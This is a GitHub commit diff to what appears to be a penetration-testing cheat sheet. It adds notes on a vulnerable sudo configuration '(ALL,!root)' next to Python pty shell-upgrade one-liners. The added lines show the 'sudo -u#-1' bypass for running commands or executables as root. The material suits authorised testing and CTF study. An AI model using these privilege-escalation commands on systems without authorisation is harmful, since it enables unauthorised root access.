Update Cheat Sheet.md

This commit is contained in:
AbdullahRizwan101 2020-12-17 20:29:22 -05:00 committed by GitHub
parent d3dffc002f
commit b5d7251560
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -11,8 +11,9 @@
* python -c 'import pty;pty.spawn("/bin/bash")' * python -c 'import pty;pty.spawn("/bin/bash")'
* python3 -c 'import pty;pty.spawn("/bin/bash")' * python3 -c 'import pty;pty.spawn("/bin/bash")'
### Vulnerable sudo version ### Vulnerable sudo (ALL,!root)
`sudo -u#-1 whoami` `sudo -u#-1 whoami`
`sudo -u#-1 <path_of_executable_as_other_user>`
### Execute as diffent user ### Execute as diffent user
`sudo -u <user> <command>` `sudo -u <user> <command>`